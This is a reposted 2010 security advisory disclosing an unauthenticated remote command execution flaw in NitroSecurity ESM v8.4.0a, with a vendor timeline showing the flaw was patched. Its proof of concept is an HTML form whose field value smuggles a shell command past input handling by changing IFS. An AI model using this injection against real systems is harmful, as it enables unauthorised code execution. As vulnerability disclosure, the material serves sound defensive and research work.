首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
NitroSecurity ESM v8.4.0a Remote Code Execution
来源:vfocus.net 作者:Palian 发布时间:2010-10-27  

-- Product description:
NitroView ESM is an enterprise-class security information and event
management system that identifies, correlates, and remediates threats
faster than any other SIEM on the market.

-- Problem Description:
During research it was found that perl module "ess.pm" is prone to
remote code execution vulnerability due to lack of user input
validation.

-- Research Environment:
The vulnerability was found and tested on ESM 8.4.0a (NitroSecurity
2.6.22.19-24nssmp64 GNU/Linux).

-- Requirements:
During the research "ESSPMDebug=1" option in
"/usr/local/ess/CPConsoleServer.cfg" was required. No authentication
in NitroSecurity ESM was required to successfuly conduct the attack.

-- Technical Details:
Because of the "system()" call in "ess.pm" module it's possible to
send specially crafted request to NitroSecurity ESM web interface,
which results in remote command execution. It's necessery to change
IFS (Internal Field Separator) to exploit this vulnerability. Probably
other methods also would work.

-- Proof Of Concept:
The following code was successfuly executed in testing environment
(remember to change x.x.x.x to your NitroSecurity ESM IP address for
testing purposes only):

-- cut --
<html>
<pre>

[*] Tested on v8.4.0a "NitroSecurity 2.6.22.19-24nssmp64 GNU/Linux"
[*] No authentication required
[*] "ESSPMDebug=1" in "/usr/local/ess/CPConsoleServer.cfg" required

</pre>
<form action="https://x.x.x.x/ess"; method="POST">
<input type="text" name="Request" value="A';c='uname:-a';IFS=:;$c>>/tmp/test;'"
<input type="hidden" name="debug" value="1">
<input type="submit" value="Oops()">
</form>
</html>
-- cut --

-- Impact:
Remote code execution in the context of the user running web server.

-- CVSS:
9, (AV:N/AC:L/Au:N/C:P/I:P/A:C)

-- Disclosure timeline:
20100922: initial contact with vendor
20100922: vendor response
20100923: detailed information about vulnerability and PoC sent to vendor
20100923: vulnerability confirmed by vendor
20101008: patch released by vendor
20101025: security advisory released

-- Credits:
This bug was found by s_n ;-p

-- Greetz
K&I, #dragonfly


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Linux Kernel 2.6.32 Local Root
·Apache 2.2 (Windows) Local Den
·Bigace_2.7.3 CSRF Change Admin
·ARM ifconfig eth0 and Assign A
·ARM Loader Port 0x1337
·MinaliC Webserver v1.0 Denial
·ARM Bind Connect UDP Port 68
·DATAC RealWin SCADA 1.06 Buffe
·ARM Bindshell port 0x1337
·Kaspersky Updater GUI 2.2.0.72
·Winamp 5.5.8.2985 (in_mod plug
·Safe Returner 1.27.5 Commandli
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved